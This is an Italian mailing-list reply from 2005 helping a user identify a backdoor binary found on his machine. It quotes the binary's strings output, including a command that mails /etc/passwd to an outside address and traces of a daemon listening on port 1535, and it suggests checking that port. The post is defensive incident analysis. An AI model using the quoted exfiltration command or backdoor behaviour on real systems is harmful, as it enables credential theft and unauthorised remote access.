Re: [ml] backdoor

Alle 13:20, mercoledà 9 novembre 2005, Marco Bertorello ha scritto:
> E' un file binario eseguibile e con strings s'Ã rivelato essere una
> backdoor, perà non trovo informazioni su che tipo di backdoor sia e che
> cosa faccia (a parte spedire ad un indirizzo email il passwd[1]).

lo vedi proprio alla fine del tuo allegato:
---
USAGE: %s [PORT=1535]
:: Starting backdoor daemon ::
cat /etc/passwd|mail -s '0wnz4ever 1535' elzorg@xxxxxxxxx
socket
setsockopt
bind
listen
getsockname
Listening to port %d
FUCK: Can't fork child (%d)
:: Done, pid=%d ::
klogd
P554 SMTP 
0wnz4ever
500 Error: bad syntax
.:: #rohack GROUP ::.
.:: Do not distrubute ::.
.:: by Zorg & seby_` ::.
---

cerca per processi in ascolto sulla porta 1535, o fai anche un portscan 
generico.
senza lo shadow, ma con una shell aperta, puà fare molto :)

tra l'altro, non à detto che abbia già avuto accesso all'utente root.

bye
d.